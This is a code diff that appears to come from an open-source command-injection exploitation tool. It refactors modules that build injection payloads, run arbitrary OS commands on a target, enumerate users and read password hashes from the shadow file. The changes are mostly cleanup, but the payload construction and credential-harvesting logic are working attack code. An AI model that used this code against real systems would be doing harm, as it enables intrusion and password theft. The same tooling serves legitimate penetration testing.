a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index db1786a10b..38412ef35c 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -35,7 +35,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ _ = False cmd = settings.PS_VERSION if alter_shell: - cmd = cmd.replace("'","\\'") + cmd = checks.escape_single_quoted_cmd(cmd) # Evaluate injection results. if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -112,7 +112,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ distro_name = cb_injector.injection_results(response, TAG, cmd) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: - target_os = target_os + " " + distro_name + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -181,20 +181,19 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) checks.print_current_user_privs(shell, filename, _) - """ System users enumeration """ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False + cmd = settings.SYS_USERS if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" + cmd = settings.WIN_SYS_USERS + cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: - settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") + cmd = checks.escape_single_quoted_cmd(cmd) else: - settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS) - cmd = settings.SYS_USERS + cmd = checks.quoted_cmd(cmd) if settings.TARGET_OS == "win": cmd = "cmd /c " + cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -236,8 +235,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd - info_msg = "Executing the user-supplied command: '" + cmd + "'." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_single_os_cmd_msg(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -250,12 +248,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell and shell != "": - _ = "'" + cmd + "' execution output" - print(settings.print_retrieved_data(_, shell)) - else: - err_msg = "The execution of '" + cmd + "' command does not return any output." - print(settings.print_error_msg(err_msg)) + checks.print_single_os_cmd(cmd, shell) """ Check the defined options @@ -267,43 +260,32 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): - info_msg = "Fetching powershell version." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().ps_version_msg() powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.hostname: - info_msg = "Fetching hostname." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().hostname_msg() hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.current_user: - info_msg = "Fetching current user." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().current_user_msg() current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.is_root or menu.options.is_admin: - info_msg = "Testing if current user has excessive privileges." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().check_privs_msg() check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.sys_info: - info_msg = "Fetching the underlying operating system information." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().os_info_msg() system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.users: - if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_users_msg() system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True @@ -312,9 +294,7 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur check_option = "--passwords" checks.unavailable_option(check_option) else: - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_passes_msg() system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index abf0292659..c50ac0af2d 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -35,7 +35,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ _ = False cmd = settings.PS_VERSION if alter_shell: - cmd = cmd.replace("'","\\'") + cmd = checks.escape_single_quoted_cmd(cmd) else: cmd = cmd = checks.quoted_cmd(cmd) # Evaluate injection results. @@ -109,7 +109,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ distro_name = eb_injector.injection_results(response, TAG, cmd) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: - target_os = target_os + " " + distro_name + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -137,14 +137,14 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ """ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False + cmd = settings.CURRENT_USER if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" + cmd = settings.WIN_SYS_USERS + cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: - settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") + cmd = checks.escape_single_quoted_cmd(cmd) else: - settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS) - cmd = settings.CURRENT_USER + cmd = checks.quoted_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -189,16 +189,16 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re """ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): _ = False + cmd = settings.SYS_USERS if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" + cmd = settings.WIN_SYS_USERS + cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: - settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") + cmd = checks.escape_single_quoted_cmd(cmd) else: - settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS) + cmd = checks.quoted_cmd(cmd) else: - settings.SYS_USERS = settings.EVAL_SYS_USERS - cmd = settings.SYS_USERS + cmd = settings.EVAL_SYS_USERS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -208,7 +208,7 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method # Evaluate injection results. sys_users = eb_injector.injection_results(response, TAG, cmd) sys_users = "".join(str(p) for p in sys_users) - session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) + # session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) checks.print_users(sys_users, filename, _) @@ -238,8 +238,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd - info_msg = "Executing the user-supplied command: '" + cmd + "'." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_single_os_cmd_msg(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -252,12 +251,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell and shell != "": - _ = "'" + cmd + "' execution output" - print(settings.print_retrieved_data(_, shell)) - else: - err_msg = "The execution of '" + cmd + "' command does not return any output." - print(settings.print_error_msg(err_msg)) + checks.print_single_os_cmd(cmd, shell) """ Check the defined options @@ -269,43 +263,32 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): - info_msg = "Fetching powershell version." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().ps_version_msg() powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.hostname: - info_msg = "Fetching hostname." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().hostname_msg() hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.current_user: - info_msg = "Fetching current user." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().current_user_msg() current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.is_root or menu.options.is_admin: - info_msg = "Testing if current user has excessive privileges." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().check_privs_msg() check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.sys_info: - info_msg = "Fetching the underlying operating system information." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().os_info_msg() system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.users: - if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_users_msg() system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True @@ -314,9 +297,7 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur check_option = "--passwords" checks.unavailable_option(check_option) else: - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_passes_msg() system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 20884d3b98..760180f8c1 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -97,9 +97,9 @@ def injection_test_results(response, TAG, randvcalc): html_data = checks.page_encoding(response, action="decode") html_data = re.sub("\n", " ", html_data) if settings.SKIP_CALC: - shell = re.findall(r"" + TAG + " " + TAG + " " + TAG + " " , html_data) + shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + " " , html_data) else: - shell = re.findall(r"" + TAG + " " + str(randvcalc) + " " + TAG + " " + TAG + " " , html_data) + shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + str(randvcalc) + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + " " , html_data) return shell """ diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index dc54fb7b28..2ca6dacd8b 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -34,7 +34,7 @@ def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitesp _ = False cmd = settings.PS_VERSION if alter_shell: - cmd = cmd.replace("'","\\'") + cmd = checks.escape_single_quoted_cmd(cmd) else: cmd = cmd = checks.quoted_cmd(cmd) # Evaluate injection results. @@ -99,7 +99,7 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp distro_name = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: - target_os = target_os + " " + distro_name + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -163,14 +163,14 @@ def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, w """ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False + cmd = settings.SYS_USERS if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" + cmd = settings.WIN_SYS_USERS + cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: - settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") + cmd = checks.escape_single_quoted_cmd(cmd) else: - settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS) - cmd = settings.SYS_USERS + cmd = checks.quoted_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -204,8 +204,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac """ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): cmd = menu.options.os_cmd - info_msg = "Executing the user-supplied command: '" + cmd + "'." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_single_os_cmd_msg(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -215,12 +214,7 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell and shell != "": - _ = "'" + cmd + "' execution output" - print(settings.print_retrieved_data(_, shell)) - else: - err_msg = "The execution of '" + cmd + "' command does not return any output." - print(settings.print_error_msg(err_msg)) + checks.print_single_os_cmd(cmd, shell) """ Check the defined options @@ -232,43 +226,32 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): - info_msg = "Fetching powershell version." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().ps_version_msg() powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True if menu.options.hostname: - info_msg = "Fetching hostname." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().hostname_msg() hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True if menu.options.current_user: - info_msg = "Fetching current user." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().current_user_msg() current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True if menu.options.is_root or menu.options.is_admin: - info_msg = "Testing if current user has excessive privileges." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().check_privs_msg() check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True if menu.options.sys_info: - info_msg = "Fetching the underlying operating system information." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().os_info_msg() system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True if menu.options.users: - if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_users_msg() system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True @@ -277,9 +260,7 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ check_option = "--passwords" checks.unavailable_option(check_option) else: - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_passes_msg() system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 7b30de7d19..b5648fbc87 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -67,7 +67,7 @@ def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, h if settings.TARGET_OS == "win": cmd = settings.WIN_DEL + OUTPUT_TEXTFILE else: - cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + " " + settings.COMMENT + cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) """ diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index bedb6ba0b9..5b66e37efe 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -20,6 +20,7 @@ from src.utils import menu from src.utils import settings +from src.core.injections.controller import checks """ File-based decision payload (check if host is vulnerable). @@ -29,11 +30,11 @@ def decision(separator, TAG, OUTPUT_TEXTFILE): if settings.TARGET_OS == "win": payload = (separator + "powershell.exe -InputFormat none Add-Content " + - OUTPUT_TEXTFILE + " " + TAG + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + TAG ) else: payload = (separator + - "echo " + TAG + ">" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE ) return payload @@ -79,7 +80,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): "for /f \"tokens=*\" %i in ('cmd /c \"" + "powershell.exe -InputFormat none write-host (cmd /c \"" + cmd + - "\")\"') do @set /p =%i " + ">" + OUTPUT_TEXTFILE + "< nul" + "\")\"') do @set /p =%i " + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul" ) else: # if settings.USER_AGENT_INJECTION == True or \ @@ -87,9 +88,9 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): # settings.HOST_INJECTION == True or \ # settings.CUSTOM_HEADER_INJECTION == True: # if not settings.DEL in cmd: - # cmd = "echo $(" + cmd + ")" + # cmd = checks.add_command_substitution(cmd) payload = (separator + - cmd + ">" + settings.WEB_ROOT + OUTPUT_TEXTFILE + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE ) return payload @@ -103,7 +104,7 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): payload = (separator +cmd + " " ) else: - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + ">" + OUTPUT_TEXTFILE + "')\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "')\"" payload = (separator + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 9caa704547..746d26a4ec 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -92,7 +92,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) distro_name = output if len(distro_name) != 0: - target_os = target_os + " " + distro_name + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: @@ -149,13 +149,13 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites """ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False + cmd = settings.SYS_USERS if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" + cmd = settings.WIN_SYS_USERS + cmd = cmd + settings.WIN_REPLACE_WHITESPACE # URL encode "+ " if POST request and python alternative shell. if alter_shell and http_request_method == settings.HTTPMETHOD.POST: - settings.SYS_USERS = settings.SYS_USERS.replace("+ ","%2B") - cmd = settings.SYS_USERS + cmd = cmd.replace("+","%2B") if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: try: # The main command injection exploitation. @@ -191,8 +191,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti Single os-shell execution """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - info_msg = "Executing the user-supplied command: '" + cmd + "'." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_single_os_cmd_msg(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) @@ -202,12 +201,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) check_how_long = 0 - if len(output) > 1: - _ = "'" + cmd + "' execution output" - print(settings.print_retrieved_data(_, output)) - else: - err_msg = "The execution of '" + cmd + "' command does not return any output." - print(settings.print_error_msg(err_msg)) + checks.print_single_os_cmd(cmd, output) return check_how_long, output """ @@ -223,53 +217,42 @@ def reset(): if not checks.ps_incompatible_os(): if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching powershell version." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().ps_version_msg() powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.hostname: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching hostname." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().hostname_msg() hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.current_user: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching current user." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().current_user_msg() current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.is_root or menu.options.is_admin: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - info_msg = "Testing if current user has excessive privileges." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().check_privs_msg() check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.sys_info: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching the underlying operating system information." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().os_info_msg() system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.users: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_users_msg() system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() @@ -280,9 +263,7 @@ def reset(): check_option = "--passwords" checks.unavailable_option(check_option) else: - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_passes_msg() system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 3a202c4fcb..62bfeacf5f 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -56,7 +56,7 @@ def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespa cmd = settings.WIN_DEL + OUTPUT_TEXTFILE else: settings.WEB_ROOT = "" - cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + " " + settings.COMMENT + cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) """ diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 536d27dcbe..a78aa9966e 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -13,8 